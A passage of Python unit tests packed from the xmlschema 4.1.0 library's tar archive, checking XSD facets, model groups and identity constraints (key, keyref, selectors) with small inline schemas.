<xs:annotation> <xs:documentation>1st facet</xs:documentation> </xs:annotation> </xs:enumeration> <xs:enumeration value="two"/> <xs:enumeration value="three"> <xs:annotation> <xs:documentation>3rd facet</xs:documentation> </xs:annotation> </xs:enumeration> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['enum1'].get_facet(XSD_ENUMERATION) self.assertIsInstance(facet, XsdEnumerationFacets) self.assertEqual(facet.annotation.documentation[0].text, '1st facet') self.assertEqual(facet.get_annotation(0).documentation[0].text, '1st facet') self.assertIsNone(facet.get_annotation(1)) self.assertEqual(facet.get_annotation(2).documentation[0].text, '3rd facet') with self.assertRaises(IndexError): facet.get_annotation(3) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="pattern1"> <xs:restriction base="xs:string"> <xs:pattern value="\\w+"/> <xs:pattern value=".+"> <xs:annotation> <xs:documentation>2nd facet</xs:documentation> </xs:annotation> </xs:pattern> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['pattern1'].get_facet(XSD_PATTERN) self.assertIsInstance(facet, XsdPatternFacets) self.assertIsNone(facet.get_annotation(0)) self.assertEqual(facet.get_annotation(1).documentation[0].text, '2nd facet') with self.assertRaises(IndexError): facet.get_annotation(2) def test_fixed_value(self): with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string30"> <xs:restriction base="xs:string"> <xs:maxLength value="30" fixed="true"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string20"> <xs:restriction base="string30"> <xs:maxLength value="20"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("'maxLength' facet value is fixed to 30", str(ec.exception)) def test_restriction_on_list__issue_396(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="list_of_strings"> <xs:simpleType> <xs:restriction> <xs:simpleType> <xs:list> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="5"/> <xs:maxLength value="6"/> </xs:restriction> </xs:simpleType> </xs:list> </xs:simpleType> <xs:minLength value="1"/> <xs:maxLength value="6"/> </xs:restriction> </xs:simpleType> </xs:element> </xs:schema>""")) self.assertTrue(schema.is_valid('<list_of_strings>abcde</list_of_strings>')) self.assertTrue(schema.is_valid('<list_of_strings>abcdef</list_of_strings>')) self.assertFalse(schema.is_valid('<list_of_strings>abcd</list_of_strings>')) self.assertFalse(schema.is_valid('<list_of_strings>abcdefg</list_of_strings>')) self.assertFalse(schema.is_valid('<list_of_strings> </list_of_strings>')) self.assertTrue(schema.is_valid('<list_of_strings>abcde abcde abcde ' 'abcde abcde abcde</list_of_strings>')) self.assertFalse(schema.is_valid('<list_of_strings>abcde abcde abcde ' 'abcde abcd abcde</list_of_strings>')) self.assertFalse(schema.is_valid('<list_of_strings>abcde abcde abcde ' 'abcde abcde abcde abcde</list_of_strings>')) def test_custom_pattern_facets__issue_440(self): class UnanchoredXsdPatternFacets(XsdPatternFacets): anchors = True class MyXMLSchema(self.schema_class): builders = XsdBuilders(None, UnanchoredXsdPatternFacets) schema = MyXMLSchema(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="pattern1"> <xs:restriction base="xs:string"> <xs:pattern value="^\\w+$"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['pattern1'].get_facet(XSD_PATTERN) self.assertIsInstance(facet, UnanchoredXsdPatternFacets) self.assertIsNone(facet('abc')) self.assertRaises(XMLSchemaValidationError, facet, '') self.assertRaises(XMLSchemaValidationError, facet, 'a;') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="pattern1"> <xs:restriction base="xs:string"> <xs:pattern value="^\\w+$"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['pattern1'].get_facet(XSD_PATTERN) self.assertIsInstance(facet, XsdPatternFacets) self.assertRaises(XMLSchemaValidationError, facet, 'abc') self.assertRaises(XMLSchemaValidationError, facet, '') self.assertRaises(XMLSchemaValidationError, facet, 'a;') class TestXsd11Identities(TestXsdFacets): schema_class = XMLSchema11 def test_explicit_timezone_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="date1"> <xs:restriction base="xs:date"> <xs:explicitTimezone value="optional"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date2"> <xs:restriction base="xs:date"> <xs:explicitTimezone value="required"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date3"> <xs:restriction base="xs:date"> <xs:explicitTimezone value="prohibited"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertTrue(schema.types['date1'].is_valid('2020-03-01')) self.assertTrue(schema.types['date2'].is_valid('2020-03-01Z')) self.assertFalse(schema.types['date2'].is_valid('2020-03-01')) self.assertTrue(schema.types['date3'].is_valid('2020-03-01')) self.assertFalse(schema.types['date3'].is_valid('2020-03-01Z')) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="date1"> <xs:restriction base="xs:date"> <xs:explicitTimezone value="none"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertIn("value must be one of ['optional',", str(schema.all_errors[0])) def test_explicit_timezone_facet_restriction(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="date1"> <xs:restriction base="xs:date"> <xs:explicitTimezone value="optional"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date2"> <xs:restriction base="date1"> <xs:explicitTimezone value="required"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date3"> <xs:restriction base="date1"> <xs:explicitTimezone value="prohibited"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date4"> <xs:restriction base="date2"> <xs:explicitTimezone value="required"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date5"> <xs:restriction base="date3"> <xs:explicitTimezone value="prohibited"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertTrue(schema.types['date1'].is_valid('2020-03-01')) self.assertTrue(schema.types['date2'].is_valid('2020-03-01Z')) self.assertFalse(schema.types['date2'].is_valid('2020-03-01')) self.assertTrue(schema.types['date3'].is_valid('2020-03-01')) self.assertFalse(schema.types['date3'].is_valid('2020-03-01Z')) derivations = [('required', 'prohibited'), ('required', 'optional'), ('prohibited', 'required'), ('prohibited', 'optional')] for base_facet, facet in derivations: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="date1"> <xs:restriction base="xs:date"> <xs:explicitTimezone value="{base_facet}"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="date2"> <xs:restriction base="date1"> <xs:explicitTimezone value="{facet}"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_assertion_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string1"> <xs:restriction base="xs:string"> <xs:assertion test="true()"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string2"> <xs:restriction base="xs:string"> <xs:assertion test="last()" xpathDefaultNamespace="http://xpath.test/ns"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string3"> <xs:restriction base="xs:string"> <xs:assertion test="position()"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="integer_list"> <xs:list itemType="xs:integer"/> </xs:simpleType> <xs:simpleType name="integer_vector"> <xs:restriction base="integer_list"> <xs:assertion test="count($value) eq 3" /> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['string1'].get_facet(XSD_ASSERTION) self.assertIsInstance(facet, XsdAssertionFacet) self.assertIsNone(facet('')) self.assertEqual(facet.xpath_default_namespace, '') facet = schema.types['string2'].get_facet(XSD_ASSERTION) self.assertIsInstance(facet, XsdAssertionFacet) self.assertEqual(facet.xpath_default_namespace, 'http://xpath.test/ns') with self.assertRaises(XMLSchemaValidationError) as ec: facet('') self.assertIn("[err:XPDY0002] context item size is undefined", str(ec.exception)) with self.assertRaises(XMLSchemaValidationError) as ec: schema.types['string3'].get_facet(XSD_ASSERTION)('') self.assertIn("[err:XPDY0002] context item position is undefined", str(ec.exception)) facet = schema.types['integer_vector'].get_facet(XSD_ASSERTION) self.assertIsNone(facet([1, 2, 3])) self.assertIsInstance(facet, XsdAssertionFacet) self.assertEqual(facet.parser.variable_types, {'value': 'xs:anySimpleType'}) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string1"> <xs:restriction base="xs:string"> <xs:assertion /> </xs:restriction> </xs:simpleType> <xs:simpleType name="string2"> <xs:restriction base="xs:string"> <xs:assertion test="???"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertEqual(len(schema.all_errors), 2) self.assertIn("missing attribute 'test'", str(schema.all_errors[0])) self.assertIn("[err:XPST0003] unexpected '?' symbol", str(schema.all_errors[1])) def test_use_xpath3(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"> <xs:assertion test="let $foo := 'bar' return $foo"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), use_xpath3=True) self.assertTrue(schema.use_xpath3) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"> <xs:assertion test="let $foo := 'bar' return $foo"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn('XPST0003', str(ctx.exception)) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD facets') ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_groups.py�����������������������������������������������������0000664�0000000�0000000�00000042272�15020401055�0021736�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest from textwrap import dedent from typing import Any, Union, List, Optional from xmlschema import XMLSchema, XMLSchemaModelError, XMLSchemaModelDepthError from xmlschema.exceptions import XMLSchemaValueError from xmlschema.validators import ParticleMixin, XsdGroup, XsdElement class ModelGroup(XsdGroup): """A subclass for testing XSD models, that disables element parsing and schema bindings.""" def __init__(self, model: str, min_occurs: int = 1, max_occurs: Optional[int] = 1) -> None: ParticleMixin.__init__(self, min_occurs, max_occurs) if model not in {'sequence', 'choice', 'all'}: raise XMLSchemaValueError(f"invalid model {model!r} for a group") self._group: List[Union[ParticleMixin, 'ModelGroup']] = [] self.content = self._group self.model: str = model self.ref = None def __repr__(self) -> str: return '%s(model=%r, occurs=%r)' % (self.__class__.__name__, self.model, self.occurs) @property def xsd_version(self) -> str: return '1.0' append: Any class TestXsdGroups(unittest.TestCase): def test_model_group_init(self): group = ModelGroup('sequence') self.assertEqual(group.model, 'sequence') with self.assertRaises(ValueError): ModelGroup('mixed') def test_model_group_repr(self): group = ModelGroup('choice') self.assertEqual(repr(group), "ModelGroup(model='choice', occurs=(1, 1))") def test_model_group_container(self): # group: List[GroupItemType] group = ModelGroup('choice') group.append(('a',)) self.assertListEqual(group[:], [('a',)]) # noqa group[0] = ('a', 'b') self.assertListEqual(group[:], [('a', 'b')]) # noqa group.append(('c',)) self.assertListEqual(group[:], [('a', 'b'), ('c',)]) # noqa del group[0] self.assertListEqual(group[:], [('c',)]) # noqa def test_is_empty(self): group = ModelGroup('all') self.assertTrue(group.is_empty()) group.append(('A',)) self.assertFalse(group.is_empty()) def test_is_pointless(self): root_group = ModelGroup('choice') group = ModelGroup('sequence') root_group.append(group) self.assertTrue(group.is_pointless(parent=root_group)) group.append(('A',)) self.assertTrue(group.is_pointless(parent=root_group)) group.append(('B',)) self.assertFalse(group.is_pointless(parent=root_group)) root_group = ModelGroup('sequence') group = ModelGroup('choice') root_group.append(group) self.assertTrue(group.is_pointless(parent=root_group)) group.append(('A',)) self.assertTrue(group.is_pointless(parent=root_group)) group.append(('B',)) self.assertFalse(group.is_pointless(parent=root_group)) root_group = ModelGroup('choice') group = ModelGroup('choice') root_group.append(group) self.assertTrue(group.is_pointless(parent=root_group)) group.append(('A',)) self.assertTrue(group.is_pointless(parent=root_group)) group.append(('B',)) self.assertTrue(group.is_pointless(parent=root_group)) def test_effective_min_occurs(self): group = ModelGroup('sequence') self.assertEqual(group.effective_min_occurs, 0) group.append(ParticleMixin()) self.assertEqual(group.effective_min_occurs, 1) group.append(ParticleMixin()) group[0].min_occurs = 0 self.assertEqual(group.effective_min_occurs, 1) group.model = 'choice' self.assertEqual(group.effective_min_occurs, 0) group[1].min_occurs = 0 group.model = 'sequence' self.assertEqual(group.effective_min_occurs, 0) group.model = 'choice' group[0].min_occurs = group[1].min_occurs = 1 self.assertEqual(group.effective_min_occurs, 1) def test_effective_max_occurs(self): group = ModelGroup('sequence') self.assertEqual(group.effective_max_occurs, 0) group.append(ParticleMixin()) self.assertEqual(group.effective_max_occurs, 1) group.append(ParticleMixin(max_occurs=2)) self.assertEqual(group.effective_max_occurs, 1) group[0].min_occurs = group[0].max_occurs = 0 self.assertEqual(group.effective_max_occurs, 2) group[1].min_occurs = group[1].max_occurs = 0 self.assertEqual(group.effective_max_occurs, 0) group.append(ParticleMixin()) self.assertEqual(group.effective_max_occurs, 1) group[2].min_occurs = 0 self.assertEqual(group.effective_max_occurs, 1) group[0].max_occurs = None self.assertIsNone(group.effective_max_occurs) group[2].min_occurs = 1 group = ModelGroup('choice') group.append(ParticleMixin()) self.assertEqual(group.effective_max_occurs, 1) group.append(ParticleMixin()) group[0].min_occurs = group[0].max_occurs = 0 self.assertEqual(group.effective_max_occurs, 1) group[0].max_occurs = None self.assertIsNone(group.effective_max_occurs) group = ModelGroup('sequence') group.append(ParticleMixin()) self.assertEqual(group.effective_max_occurs, 1) group[0].max_occurs = None self.assertIsNone(group.effective_max_occurs) group[0].max_occurs = 1 self.assertEqual(group.effective_max_occurs, 1) group.max_occurs = None self.assertIsNone(group.effective_max_occurs) def test_has_occurs_restriction(self): group = ModelGroup('sequence') other = ModelGroup('sequence') other.append(ParticleMixin()) self.assertTrue(group.has_occurs_restriction(other)) group.append(ParticleMixin()) self.assertTrue(group.has_occurs_restriction(other)) for model in ['sequence', 'all', 'choice']: group = ModelGroup(model) group.append(ParticleMixin()) self.assertTrue(group.has_occurs_restriction(other=ParticleMixin())) self.assertFalse(group.has_occurs_restriction(other=ParticleMixin(2, 2))) self.assertTrue(group.has_occurs_restriction(other=ParticleMixin(1, None))) group.max_occurs = None self.assertFalse(group.has_occurs_restriction(other=ParticleMixin())) self.assertTrue(group.has_occurs_restriction(other=ParticleMixin(1, None))) def test_iter_model(self): # Model group with pointless inner groups root_group = group = ModelGroup('sequence') for k in range(3): for _ in range(k + 1): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence')) group = group[-1] particles = [e for e in root_group.iter_model()] self.assertEqual(len(particles), 6) for e in particles: self.assertIsInstance(e, ParticleMixin) self.assertNotIsInstance(e, ModelGroup) # Model group with no-pointless inner groups root_group = group = ModelGroup('sequence') for k in range(3): for _ in range(k + 1): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence', max_occurs=None)) group = group[-1] particles = [e for e in root_group.iter_model()] self.assertEqual(len(particles), 2) self.assertIsInstance(particles[0], ParticleMixin) self.assertNotIsInstance(particles[0], ModelGroup) self.assertIsInstance(particles[1], ModelGroup) # Model group with an excessive depth root_group = group = ModelGroup('sequence') for k in range(16): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence')) group = group[1] with self.assertRaises(XMLSchemaModelDepthError): for _ in root_group.iter_model(): pass def test_iter_elements(self): # Model group with pointless inner groups root_group = group = ModelGroup('sequence') for k in range(3): for _ in range(k + 1): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence')) group = group[-1] particles = [e for e in root_group.iter_elements()] self.assertEqual(len(particles), 6) for e in particles: self.assertIsInstance(e, ParticleMixin) self.assertNotIsInstance(e, ModelGroup) # Model group with no-pointless inner groups root_group = group = ModelGroup('sequence') for k in range(3): for _ in range(k + 1): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence', max_occurs=None)) group = group[-1] particles = [e for e in root_group.iter_elements()] self.assertEqual(len(particles), 6) for e in particles: self.assertIsInstance(e, ParticleMixin) self.assertNotIsInstance(e, ModelGroup) root_group.min_occurs = root_group.max_occurs = 0 self.assertListEqual(list(root_group.iter_elements()), []) # Model group with an excessive depth root_group = group = ModelGroup('sequence') for k in range(16): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence')) group = group[1] with self.assertRaises(XMLSchemaModelDepthError): for _ in root_group.iter_elements(): pass def test_get_subgroups(self): # Model group with pointless inner groups root_group = group = ModelGroup('sequence') subgroups = [] for k in range(4): for _ in range(k + 1): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence')) subgroups.append(group) group = group[-1] self.assertListEqual(root_group.get_subgroups(group), subgroups) self.assertListEqual(root_group.get_subgroups(subgroups[-1][0]), subgroups) self.assertListEqual(root_group.get_subgroups(subgroups[-2][0]), subgroups[:-1]) self.assertListEqual(root_group.get_subgroups(subgroups[-3][0]), subgroups[:-2]) self.assertListEqual(root_group.get_subgroups(subgroups[-4][0]), subgroups[:-3]) with self.assertRaises(XMLSchemaModelError): root_group.get_subgroups(ParticleMixin()) # noqa # Model group with an excessive depth root_group = group = ModelGroup('sequence') for k in range(18): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence')) group = group[1] with self.assertRaises(XMLSchemaModelDepthError): root_group.get_subgroups(group) def test_overall_min_occurs(self): root_group = group = ModelGroup('sequence') subgroups = [] for k in range(4): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence', max_occurs=10)) subgroups.append(group) group = group[-1] self.assertEqual(root_group.overall_min_occurs(group), 1) root_group[1].min_occurs = 0 self.assertEqual(root_group.overall_min_occurs(group), 0) root_group[1][1].min_occurs = 2 self.assertEqual(root_group.overall_min_occurs(group), 0) root_group[1].min_occurs = 1 self.assertEqual(root_group.overall_min_occurs(group), 2) root_group[1].min_occurs = 3 self.assertEqual(root_group.overall_min_occurs(group), 6) root_group = group = ModelGroup('choice') subgroups = [] for k in range(4): group.append(ParticleMixin()) # noqa group.append(ModelGroup('choice', max_occurs=10)) subgroups.append(group) group = group[-1] self.assertEqual(root_group.overall_min_occurs(group), 0) def test_overall_max_occurs(self): root_group = group = ModelGroup('sequence', min_occurs=0) subgroups = [] for k in range(4): group.append(ParticleMixin()) # noqa group.append(ModelGroup('sequence', min_occurs=0)) subgroups.append(group) group = group[-1] self.assertEqual(root_group.overall_max_occurs(group), 1) root_group[1].max_occurs = 0 self.assertEqual(root_group.overall_max_occurs(group), 0) root_group[1][1].max_occurs = 2 self.assertEqual(root_group.overall_max_occurs(group), 0) root_group[1].max_occurs = 1 self.assertEqual(root_group.overall_max_occurs(group), 2) root_group[1].max_occurs = 3 self.assertEqual(root_group.overall_max_occurs(group), 6) root_group[1].max_occurs = None self.assertIsNone(root_group.overall_max_occurs(group)) def test_model_group_composition_in_a_sequence__issue_384(self): schema = XMLSchema(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="type1"/> <xs:complexType name="type1"> <xs:sequence> <xs:element name="elem1" type="xs:string"/> <xs:group ref="group1"/> </xs:sequence> </xs:complexType> <xs:group name="group1"> <xs:choice> <xs:element name="elem2" type="xs:string"/> <xs:element name="elem3" type="xs:string"/> </xs:choice> </xs:group> </xs:schema>""")) xsd_type = schema.types['type1'] self.assertIsInstance(xsd_type.content, XsdGroup) self.assertEqual(xsd_type.content.model, 'sequence') self.assertEqual(len(xsd_type.content), 2) self.assertEqual(xsd_type.content[0].name, 'elem1') self.assertIsInstance(xsd_type.content[0], XsdElement) self.assertIsInstance(xsd_type.content[1], XsdGroup) self.assertEqual(xsd_type.content[1].model, 'choice') xsd_group = schema.groups['group1'] self.assertEqual(xsd_group.model, 'choice') self.assertIs(xsd_type.content[1].ref, xsd_group) self.assertEqual(len(xsd_group), 2) self.assertEqual(xsd_group[0].name, 'elem2') self.assertIsInstance(xsd_group[0], XsdElement) self.assertEqual(xsd_group[1].name, 'elem3') self.assertIsInstance(xsd_group[1], XsdElement) self.assertTrue(schema.is_valid('<root><elem1>a</elem1><elem2>b</elem2></root>')) self.assertTrue(schema.is_valid('<root><elem1>a</elem1><elem3>c</elem3></root>')) self.assertFalse(schema.is_valid('<root><elem1>a</elem1></root>')) self.assertFalse(schema.is_valid('<root><elem2>b</elem2></root>')) self.assertFalse(schema.is_valid('<root><elem3>c</elem3></root>')) self.assertFalse(schema.is_valid( '<root><elem1>a</elem1><elem2>b</elem2><elem3>c</elem3></root>' )) self.assertFalse(schema.is_valid( '<root><elem1>a</elem1><elem3>c</elem3><elem2>b</elem2></root>' )) def test_is_optional__issue_410(self): schema = XMLSchema(dedent("""\ <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="muclient"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="include"/> <xs:choice> <xs:element name="plugin"/> <xs:element name="world"/> <xs:element name="triggers"/> <xs:element name="aliases"/> <xs:element name="timers"/> <xs:element name="macros"/> <xs:element name="variables"/> <xs:element name="colours"/> <xs:element name="keypad"/> <xs:element name="printing"/> </xs:choice> </xs:choice> </xs:complexType> </xs:element> </xs:schema>""")) group = schema.elements['muclient'].type.content self.assertRaises(ValueError, group.is_optional, schema.elements['muclient']) self.assertTrue(group.is_optional(group[0])) for xsd_element in group[1]: self.assertTrue(group.is_optional(xsd_element)) group.min_occurs = 1 self.assertTrue(group.is_optional(group[0])) for xsd_element in group[1]: self.assertTrue(group.is_optional(xsd_element)) group.model = 'sequence' self.assertFalse(group.is_optional(group[0])) for xsd_element in group[1]: self.assertTrue(group.is_optional(xsd_element)) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD groups') ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_identities.py�������������������������������������������������0000664�0000000�0000000�00000047317�15020401055�0022565�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import pathlib import xml.etree.ElementTree as ElementTree from xmlschema import XMLSchemaParseError, XMLSchemaValidationError from xmlschema.validators import XMLSchema11 from xmlschema.validators.identities import IdentityCounter, KeyrefCounter, FieldValueSelector from xmlschema.testing import XsdValidatorTestCase class TestXsdIdentities(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def test_key_definition(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element>""") selector = schema.identities['key1'].selector self.assertTrue(selector.built) self.assertEqual(repr(selector), "XsdSelector(path='.')") def test_duplicated_key_name(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:element name="secondary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 2) self.assertIn("duplicated value ('key1',)", schema.all_errors[0].message) def test_missing_key_name(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key> <xs:selector xpath="." /> <xs:field xpath="."/> </xs:key> </xs:element>""", validation='lax') errors = schema.all_errors if schema.XSD_VERSION == '1.0': self.assertEqual(len(errors), 3) self.assertEqual(errors[0].message, "missing required attribute 'name'") else: self.assertEqual(len(errors), 3) self.assertIn("missing key field '@name'", errors[0].message) def test_missing_selector(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:field xpath="."/> </xs:key> </xs:element>""", validation='lax') errors = schema.all_errors self.assertEqual(len(errors), 2) self.assertIn("Unexpected child with tag 'xs:field' at position 1", errors[0].message) schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:annotation/> </xs:key> </xs:element>""", validation='lax') errors = schema.all_errors self.assertEqual(len(errors), 2 if schema.XSD_VERSION == '1.0' else 1) self.assertEqual(errors[-1].message, "missing 'selector' declaration") def test_missing_selector_path(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector /> <!-- missing 'xpath' attribute --> <xs:field xpath="."/> </xs:key> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 1) self.assertEqual(schema.identities['key1'].selector.path, '*') def test_invalid_selector_path(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="/" /> <!-- Invalid XPath selector expression --> <xs:field xpath="."/> </xs:key> </xs:element>""") self.assertEqual(ctx.exception.message, "invalid XPath expression for an XsdSelector") with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="xs : *" /> <!-- Invalid XPath expression --> <xs:field xpath="."/> </xs:key> </xs:element>""") self.assertIn("XPST0003", ctx.exception.message) def test_invalid_selector_node(self): with self.assertRaises(XMLSchemaParseError) as ctx: self.check_schema(""" <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element ref="a" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="foo" type="xs:string"/> </xs:complexType> <xs:key name="node_key"> <xs:selector xpath="attribute::*"/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:element name="a" type="xs:string"/>""") self.assertEqual(ctx.exception.message, 'selector xpath expression can only select elements') def test_key_validation(self): schema = self.check_schema(""" <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element ref="a" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <xs:key name="node_key"> <xs:selector xpath="./a"/> <xs:field xpath="."/> </xs:key> </xs:element> <xs:element name="a" type="xs:string"/>""") self.assertTrue(schema.is_valid('<root><a>alpha</a><a>beta</a></root>')) self.assertFalse(schema.is_valid('<root><a>alpha</a><a>alpha</a></root>')) def test_missing_key_field(self): schema = self.check_schema(""" <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element ref="a" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> <xs:key name="node_key"> <xs:selector xpath="./a"/> <xs:field xpath="b"/> </xs:key> </xs:element> <xs:element name="a" type="xs:string"/>""") with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate('<root><a>alpha</a><a>beta</a></root>') self.assertIn("missing key field 'b'", ctx.exception.reason) def test_keyref(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""") self.assertTrue(schema.identities['keyref1'].built) refer = schema.identities['keyref1'].refer schema.identities['keyref1'].build() self.assertTrue(schema.identities['keyref1'].built) self.assertIs(schema.identities['keyref1'].refer, refer) def test_missing_keyref_refer(self): schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="unknown_key"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 1) self.assertEqual(schema.all_errors[0].message, "key/unique identity constraint 'unknown_key' is missing") schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1" refer="x:key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 1) self.assertEqual(schema.all_errors[0].message, "prefix 'x' not found in namespace map") schema = self.check_schema(""" <xs:element name="primary_key" type="xs:string"> <xs:key name="key1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:key> <xs:keyref name="keyref1"> <xs:selector xpath="."/> <xs:field xpath="."/> </xs:keyref> </xs:element>""", validation='lax') self.assertEqual(len(schema.all_errors), 2 if schema.XSD_VERSION == '1.0' else 1) self.assertEqual(schema.all_errors[-1].message, "missing required attribute 'refer'") def test_wrong_kind_keyref_refer(self): schema = 